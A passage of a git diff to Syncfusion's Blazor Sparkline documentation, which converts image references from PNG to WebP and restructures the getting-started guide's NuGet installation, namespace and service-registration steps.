 N> Refer to the [code block](#populate-sparkline-with-data) to know about the property value of **ClimateData**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDrJXsqtfqzDdTTI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sparkline Chart with Data Label](./images/blazor-sparkline-data-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDrJXsqtfqzDdTTI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sparkline Chart with Data Label](./images/blazor-sparkline-data-label.webp)" %}
 
 ## Enable tooltip
 
@@ -308,7 +308,7 @@ When space constraints prevent from displaying information using Data Labels, th
 
 N> Refer to the [code block](#populate-sparkline-with-data) to know about the property value of the **ClimateData**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLfDsUNfgJpNFjr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sparkline Chart with Tooltip](./images/blazor-sparkline-tooltip.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLfDsUNfgJpNFjr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sparkline Chart with Tooltip](./images/blazor-sparkline-tooltip.webp)" %}
 
 ## See also
 
diff --git a/blazor/sparkline/getting-started.md b/blazor/sparkline/getting-started.md
index 029c776ebc..880fd2322c 100644
--- a/blazor/sparkline/getting-started.md
+++ b/blazor/sparkline/getting-started.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Sparkline Component
 
-This section briefly explains about how to include [Blazor Sparkline](https://www.syncfusion.com/blazor-components/blazor-sparkline) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sparkline](https://www.syncfusion.com/blazor-components/blazor-sparkline) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -23,22 +23,6 @@ This section briefly explains about how to include [Blazor Sparkline](https://ww
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sparkline NuGet in the App
-
-To add the **Blazor Sparkline** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Sparkline](https://www.nuget.org/packages/Syncfusion.Blazor.Sparkline). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Sparkline -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -51,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -64,25 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sparkline NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Sparkline](https://www.nuget.org/packages/Syncfusion.Blazor.Sparkline) NuGet package and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Sparkline -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -101,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -112,28 +77,29 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sparkline NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-To add the **Blazor Sparkline** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Sparkline](https://www.nuget.org/packages/Syncfusion.Blazor.Sparkline/) NuGet package. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Install [Syncfusion.Blazor.Sparkline](https://www.nuget.org/packages/Syncfusion.Blazor.Sparkline/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following command in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Sparkline -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Sparkline -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
+## Add import namespaces
 
-{% endtabcontents %}
-
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Charts` namespaces.
+After the package is installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Charts` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -144,25 +110,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -170,23 +128,22 @@ await builder.Build().RunAsync();
 
 ## Add script resources
 
-The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the script reference in the `<head>` section of the **~/index.html** file.
+The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the script reference in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
 N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Sparkline Component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sparkline component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sparkline component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfSparkline>
 
@@ -200,7 +157,7 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sparkline compon
 To bind data for the Sparkline component, assign a `IEnumerable` object to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfSparkline-1.html#Syncfusion_Blazor_Charts_SfSparkline_1_DataSource) property. It can also be provided as an instance of the [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html).
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 @code {
     public class WeatherReport
@@ -230,7 +187,7 @@ To bind data for the Sparkline component, assign a `IEnumerable` object to the [
 Now map the `Month` and the `Celsius` fields from the datasource to [XName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfSparkline-1.html#Syncfusion_Blazor_Charts_SfSparkline_1_XName) and [YName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfSparkline-1.html#Syncfusion_Blazor_Charts_SfSparkline_1_YName) properties for x-axis and y-axis in the Sparkline and then set the `ClimateData` to [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfSparkline-1.html#Syncfusion_Blazor_Charts_SfSparkline_1_DataSource) property. Because the `Month` field is a value-based category, the [ValueType](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfSparkline-1.html#Syncfusion_Blazor_Charts_SfSparkline_1_ValueType) property is used to specify it.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfSparkline XName="Month"
              YName="Celsius"
@@ -246,14 +203,14 @@ Now map the `Month` and the `Celsius` fields from the datasource to [XName](http
 
 Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sparkline component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjrJXWqjfqKBvkdq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sparkline Chart](./images/blazor-sparkline.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjrJXWqjfqKBvkdq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sparkline Chart](./images/blazor-sparkline.webp)" %}
 
 ## Blazor Sparkline chart types
 
 Change the Sparkline type using the [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfSparkline-1.html#Syncfusion_Blazor_Charts_SfSparkline_1_Type) property set to **Line**, **Column**, **WinLoss**, **Pie** or **Area**. Here, the Sparkline type is set to **Area**.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfSparkline XName="Month"
              YName="Celsius"
@@ -268,7 +225,7 @@ Change the Sparkline type using the [Type](https://help.syncfusion.com/cr/blazor
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLTtsqNTqqdYsqg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sparkline Area Chart](./images/blazor-area-sparkline.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLTtsqNTqqdYsqg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sparkline Area Chart](./images/blazor-area-sparkline.webp)" %}
 
 N> Refer to [code block](#populate-sparkline-with-data) to know about the property value of **ClimateData**.
 
@@ -286,7 +243,7 @@ Available types are:
 * Negative
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfSparkline DataSource="ClimateData"
               TValue="WeatherReport"
@@ -304,14 +261,14 @@ Available types are:
 
 N> Refer to the [code block](#populate-sparkline-with-data) to know about the property value of **ClimateData**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDrJXsqtfqzDdTTI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sparkline Chart with Data Label](./images/blazor-sparkline-data-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDrJXsqtfqzDdTTI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sparkline Chart with Data Label](./images/blazor-sparkline-data-label.webp)" %}
 
 ## Enable tooltip
 
 When space constraints prevent from displaying information using Data Labels, the tooltip comes in handy. The tooltip can be enabled by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SparklineTooltipSettings-1.html#Syncfusion_Blazor_Charts_SparklineTooltipSettings_1_Visible) property to **true** in the [SparklineTooltipSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SparklineTooltipSettings-1.html).
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfSparkline DataSource="ClimateData"
              TValue="WeatherReport"
@@ -330,7 +287,7 @@ When space constraints prevent from displaying information using Data Labels, th
 
 N> Refer to the [code block](#populate-sparkline-with-data) to know about the property value of the **ClimateData**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLfDsUNfgJpNFjr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sparkline Chart with Tooltip](./images/blazor-sparkline-tooltip.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLfDsUNfgJpNFjr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sparkline Chart with Tooltip](./images/blazor-sparkline-tooltip.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Sparkline).
 
diff --git a/blazor/sparkline/globalization.md b/blazor/sparkline/globalization.md
index 3848129e44..caa0c55b7a 100644
--- a/blazor/sparkline/globalization.md
+++ b/blazor/sparkline/globalization.md
@@ -25,4 +25,4 @@ N> Refer to the [localization documentation for Blazor Server](https://blazor.sy
 
 On successful configuration, the Sparkline will be rendered as shown below.
 
-![Localization in Blazor Sparkline Chart](./images/localization/blazor-sparkline-localization.png)
+![Localization in Blazor Sparkline Chart](./images/localization/blazor-sparkline-localization.webp)
diff --git a/blazor/sparkline/images/Appearance/Theme.png b/blazor/sparkline/images/Appearance/Theme.png
deleted file mode 100644
index e2b42a78d0..0000000000
Binary files a/blazor/sparkline/images/Appearance/Theme.png and /dev/null differ
diff --git a/blazor/sparkline/images/Appearance/Theme.webp b/blazor/sparkline/images/Appearance/Theme.webp
new file mode 100644
index 0000000000..914772338c
Binary files /dev/null and b/blazor/sparkline/images/Appearance/Theme.webp differ
diff --git a/blazor/sparkline/images/Appearance/blazor-sparkline-custom-background.png b/blazor/sparkline/images/Appearance/blazor-sparkline-custom-background.png
deleted file mode 100644
index 4fe38dae21..0000000000
Binary files a/blazor/sparkline/images/Appearance/blazor-sparkline-custom-background.png and /dev/null differ
diff --git a/blazor/sparkline/images/Appearance/blazor-sparkline-custom-background.webp b/blazor/sparkline/images/Appearance/blazor-sparkline-custom-background.webp
new file mode 100644
index 0000000000..2057ec0f59
Binary files /dev/null and b/blazor/sparkline/images/Appearance/blazor-sparkline-custom-background.webp differ
diff --git a/blazor/sparkline/images/Appearance/blazor-sparkline-right-to-left.png b/blazor/sparkline/images/Appearance/blazor-sparkline-right-to-left.png
deleted file mode 100644
index 72c35da16c..0000000000
Binary files a/blazor/sparkline/images/Appearance/blazor-sparkline-right-to-left.png and /dev/null differ
diff --git a/blazor/sparkline/images/Appearance/blazor-sparkline-right-to-left.webp b/blazor/sparkline/images/Appearance/blazor-sparkline-right-to-left.webp
new file mode 100644
index 0000000000..dc21ce5467
Binary files /dev/null and b/blazor/sparkline/images/Appearance/blazor-sparkline-right-to-left.webp differ
diff --git a/blazor/sparkline/images/Appearance/blazor-sparkline-with-border.png b/blazor/sparkline/images/Appearance/blazor-sparkline-with-border.png
deleted file mode 100644
index 69a3a78639..0000000000
Binary files a/blazor/sparkline/images/Appearance/blazor-sparkline-with-border.png and /dev/null differ
diff --git a/blazor/sparkline/images/Appearance/blazor-sparkline-with-border.webp b/blazor/sparkline/images/Appearance/blazor-sparkline-with-border.webp
new file mode 100644
index 0000000000..145f812d89
Binary files /dev/null and b/blazor/sparkline/images/Appearance/blazor-sparkline-with-border.webp differ
diff --git a/blazor/sparkline/images/Appearance/blazor-sparkline-with-padding.png b/blazor/sparkline/images/Appearance/blazor-sparkline-with-padding.png
deleted file mode 100644
index bdf2201fed..0000000000
Binary files a/blazor/sparkline/images/Appearance/blazor-sparkline-with-padding.png and /dev/null differ
diff --git a/blazor/sparkline/images/Appearance/blazor-sparkline-with-padding.webp b/blazor/sparkline/images/Appearance/blazor-sparkline-with-padding.webp
new file mode 100644
index 0000000000..f997387542
Binary files /dev/null and b/blazor/sparkline/images/Appearance/blazor-sparkline-with-padding.webp differ
diff --git a/blazor/sparkline/images/Axis/blazor-sparkline-axis-value.png b/blazor/sparkline/images/Axis/blazor-sparkline-axis-value.png
deleted file mode 100644
index 0c9d087d53..0000000000
Binary files a/blazor/sparkline/images/Axis/blazor-sparkline-axis-value.png and /dev/null differ
diff --git a/blazor/sparkline/images/Axis/blazor-sparkline-axis-value.webp b/blazor/sparkline/images/Axis/blazor-sparkline-axis-value.webp
new file mode 100644
index 0000000000..34e61788f6
Binary files /dev/null and b/blazor/sparkline/images/Axis/blazor-sparkline-axis-value.webp differ
diff --git a/blazor/sparkline/images/Axis/blazor-sparkline-category-value.png b/blazor/sparkline/images/Axis/blazor-sparkline-category-value.png
deleted file mode 100644
index 6790d32e1b..0000000000
Binary files a/blazor/sparkline/images/Axis/blazor-sparkline-category-value.png and /dev/null differ
diff --git a/blazor/sparkline/images/Axis/blazor-sparkline-category-value.webp b/blazor/sparkline/images/Axis/blazor-sparkline-category-value.webp
new file mode 100644
index 0000000000..2d2cc36bc2
Binary files /dev/null and b/blazor/sparkline/images/Axis/blazor-sparkline-category-value.webp differ
diff --git a/blazor/sparkline/images/Axis/blazor-sparkline-custom-axis-line.png b/blazor/sparkline/images/Axis/blazor-sparkline-custom-axis-line.png
deleted file mode 100644
index 90c6e82985..0000000000
Binary files a/blazor/sparkline/images/Axis/blazor-sparkline-custom-axis-line.png and /dev/null differ
diff --git a/blazor/sparkline/images/Axis/blazor-sparkline-custom-axis-line.webp b/blazor/sparkline/images/Axis/blazor-sparkline-custom-axis-line.webp
new file mode 100644
index 0000000000..e322ab9a77
Binary files /dev/null and b/blazor/sparkline/images/Axis/blazor-sparkline-custom-axis-line.webp differ
diff --git a/blazor/sparkline/images/Axis/blazor-sparkline-datetime-value.png b/blazor/sparkline/images/Axis/blazor-sparkline-datetime-value.png
deleted file mode 100644
index 235c4a2640..0000000000
Binary files a/blazor/sparkline/images/Axis/blazor-sparkline-datetime-value.png and /dev/null differ
diff --git a/blazor/sparkline/images/Axis/blazor-sparkline-datetime-value.webp b/blazor/sparkline/images/Axis/blazor-sparkline-datetime-value.webp
new file mode 100644
index 0000000000..9bbf13edfe
Binary files /dev/null and b/blazor/sparkline/images/Axis/blazor-sparkline-datetime-value.webp differ
diff --git a/blazor/sparkline/images/Axis/blazor-sparkline-min-max-value.png b/blazor/sparkline/images/Axis/blazor-sparkline-min-max-value.png
deleted file mode 100644
index 994dfcbd32..0000000000
Binary files a/blazor/sparkline/images/Axis/blazor-sparkline-min-max-value.png and /dev/null differ
diff --git a/blazor/sparkline/images/Axis/blazor-sparkline-min-max-value.webp b/blazor/sparkline/images/Axis/blazor-sparkline-min-max-value.webp
new file mode 100644
index 0000000000..5365b1754a
Binary files /dev/null and b/blazor/sparkline/images/Axis/blazor-sparkline-min-max-value.webp differ
diff --git a/blazor/sparkline/images/Axis/blazor-sparkline-numeric-value.png b/blazor/sparkline/images/Axis/blazor-sparkline-numeric-value.png
deleted file mode 100644
index 60589a70f2..0000000000
Binary files a/blazor/sparkline/images/Axis/blazor-sparkline-numeric-value.png and /dev/null differ
diff --git a/blazor/sparkline/images/Axis/blazor-sparkline-numeric-value.webp b/blazor/sparkline/images/Axis/blazor-sparkline-numeric-value.webp
new file mode 100644
index 0000000000..dc3b64a8d6
Binary files /dev/null and b/blazor/sparkline/images/Axis/blazor-sparkline-numeric-value.webp differ
diff --git a/blazor/sparkline/images/Datalabels/blazor-sparkline-custom-data-label.png b/blazor/sparkline/images/Datalabels/blazor-sparkline-custom-data-label.png
deleted file mode 100644
index 65f94676dd..0000000000
Binary files a/blazor/sparkline/images/Datalabels/blazor-sparkline-custom-data-label.png and /dev/null differ
diff --git a/blazor/sparkline/images/Datalabels/blazor-sparkline-custom-data-label.webp b/blazor/sparkline/images/Datalabels/blazor-sparkline-custom-data-label.webp
new file mode 100644
index 0000000000..9b6c991ff9
Binary files /dev/null and b/blazor/sparkline/images/Datalabels/blazor-sparkline-custom-data-label.webp differ
diff --git a/blazor/sparkline/images/Datalabels/blazor-sparkline-data-label.png b/blazor/sparkline/images/Datalabels/blazor-sparkline-data-label.png
deleted file mode 100644
index 7531a70ddc..0000000000
Binary files a/blazor/sparkline/images/Datalabels/blazor-sparkline-data-label.png and /dev/null differ
diff --git a/blazor/sparkline/images/Datalabels/blazor-sparkline-data-label.webp b/blazor/sparkline/images/Datalabels/blazor-sparkline-data-label.webp
new file mode 100644
index 0000000000..7a61fda970
Binary files /dev/null and b/blazor/sparkline/images/Datalabels/blazor-sparkline-data-label.webp differ
diff --git a/blazor/sparkline/images/Datalabels/blazor-sparkline-label-format.png b/blazor/sparkline/images/Datalabels/blazor-sparkline-label-format.png
deleted file mode 100644
index 27bdb42ff3..0000000000
Binary files a/blazor/sparkline/images/Datalabels/blazor-sparkline-label-format.png and /dev/null differ
diff --git a/blazor/sparkline/images/Datalabels/blazor-sparkline-label-format.webp b/blazor/sparkline/images/Datalabels/blazor-sparkline-label-format.webp
new file mode 100644
index 0000000000..c951d52fc6
Binary files /dev/null and b/blazor/sparkline/images/Datalabels/blazor-sparkline-label-format.webp differ
diff --git a/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-container-size.png b/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-container-size.png
deleted file mode 100644
index 858f87445c..0000000000
Binary files a/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-container-size.png and /dev/null differ
diff --git a/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-container-size.webp b/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-container-size.webp
new file mode 100644
index 0000000000..525f316197
Binary files /dev/null and b/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-container-size.webp differ
diff --git a/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-size-in-percentage.png b/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-size-in-percentage.png
deleted file mode 100644
index 68f7b69d77..0000000000
Binary files a/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-size-in-percentage.png and /dev/null differ
diff --git a/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-size-in-percentage.webp b/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-size-in-percentage.webp
new file mode 100644
index 0000000000..7f8a5ecbf4
Binary files /dev/null and b/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-size-in-percentage.webp differ
diff --git a/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-size-in-pixel.png b/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-size-in-pixel.png
deleted file mode 100644
index 68f7b69d77..0000000000
Binary files a/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-size-in-pixel.png and /dev/null differ
diff --git a/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-size-in-pixel.webp b/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-size-in-pixel.webp
new file mode 100644
index 0000000000..7f8a5ecbf4
Binary files /dev/null and b/blazor/sparkline/images/SparklineDimension/blazor-sparkline-chart-size-in-pixel.webp differ
diff --git a/blazor/sparkline/images/SparklineTypes/blazor-area-sparkline.png b/blazor/sparkline/images/SparklineTypes/blazor-area-sparkline.png
deleted file mode 100644
index 4a5c337179..0000000000
Binary files a/blazor/sparkline/images/SparklineTypes/blazor-area-sparkline.png and /dev/null differ
diff --git a/blazor/sparkline/images/SparklineTypes/blazor-area-sparkline.webp b/blazor/sparkline/images/SparklineTypes/blazor-area-sparkline.webp
new file mode 100644
index 0000000000..736396cd17
Binary files /dev/null and b/blazor/sparkline/images/SparklineTypes/blazor-area-sparkline.webp differ
diff --git a/blazor/sparkline/images/SparklineTypes/blazor-column-sparkline.png b/blazor/sparkline/images/SparklineTypes/blazor-column-sparkline.png
deleted file mode 100644
index 5b30d3c38d..0000000000
Binary files a/blazor/sparkline/images/SparklineTypes/blazor-column-sparkline.png and /dev/null differ
diff --git a/blazor/sparkline/images/SparklineTypes/blazor-column-sparkline.webp b/blazor/sparkline/images/SparklineTypes/blazor-column-sparkline.webp
new file mode 100644
index 0000000000..5e0f8f46d0
Binary files /dev/null and b/blazor/sparkline/images/SparklineTypes/blazor-column-sparkline.webp differ
diff --git a/blazor/sparkline/images/SparklineTypes/blazor-line-sparkline.png b/blazor/sparkline/images/SparklineTypes/blazor-line-sparkline.png
deleted file mode 100644
index 8d0b29d14f..0000000000
Binary files a/blazor/sparkline/images/SparklineTypes/blazor-line-sparkline.png and /dev/null differ
diff --git a/blazor/sparkline/images/SparklineTypes/blazor-line-sparkline.webp b/blazor/sparkline/images/SparklineTypes/blazor-line-sparkline.webp
new file mode 100644
index 0000000000..31c95372b0
Binary files /dev/null and b/blazor/sparkline/images/SparklineTypes/blazor-line-sparkline.webp differ
diff --git a/blazor/sparkline/images/SparklineTypes/blazor-pie-sparkline.png b/blazor/sparkline/images/SparklineTypes/blazor-pie-sparkline.png
deleted file mode 100644
index b4ba1334cf..0000000000
Binary files a/blazor/sparkline/images/SparklineTypes/blazor-pie-sparkline.png and /dev/null differ
diff --git a/blazor/sparkline/images/SparklineTypes/blazor-pie-sparkline.webp b/blazor/sparkline/images/SparklineTypes/blazor-pie-sparkline.webp
new file mode 100644
index 0000000000..d5f90f065c
Binary files /dev/null and b/blazor/sparkline/images/SparklineTypes/blazor-pie-sparkline.webp differ
diff --git a/blazor/sparkline/images/SparklineTypes/blazor-winloss-sparkline.png b/blazor/sparkline/images/SparklineTypes/blazor-winloss-sparkline.png
deleted file mode 100644
index 3a75d28905..0000000000
Binary files a/blazor/sparkline/images/SparklineTypes/blazor-winloss-sparkline.png and /dev/null differ
diff --git a/blazor/sparkline/images/SparklineTypes/blazor-winloss-sparkline.webp b/blazor/sparkline/images/SparklineTypes/blazor-winloss-sparkline.webp
new file mode 100644
